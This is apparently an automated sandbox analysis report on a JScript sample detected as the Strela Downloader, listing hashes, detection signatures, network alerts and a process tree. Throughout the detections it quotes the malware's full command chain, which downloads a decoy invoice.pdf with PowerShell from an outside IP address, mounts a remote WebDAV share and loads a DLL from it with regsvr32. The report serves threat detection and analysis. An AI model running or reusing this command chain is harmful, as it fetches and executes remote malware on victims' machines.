Edit tour

Windows Analysis Report
17772451271118687.js

Overview

General Information

Sample name:	17772451271118687.js
Analysis ID:	1587540
MD5:	907c39ff056169ed6b5eaec372cf4acb
SHA1:	4f1ae41482111c7b97f709e01422a95bbcf08468
SHA256:	7c0781c4dac24e20079d13f62880a2f2c08eb3bf5a833ad55db4b3356df99fb2
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6396 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1680 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6520 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6524 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5452 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7320 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1704,i,6202305562876439901,7278822292737129765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5996 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1264 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7196 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6396	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6520, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ProcessId: 6396, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1264, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 1680, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 1680, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 1680, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 1680, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 1680, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ProcessId: 6396, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1680, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6520, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5996, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1264, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7196, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5996, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1264, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17772451271118687.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll, ProcessId: 1680, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:35:09.634092+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:35:06.861328+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 17772451271118687.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 17772451271118687.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:35:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:51125 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

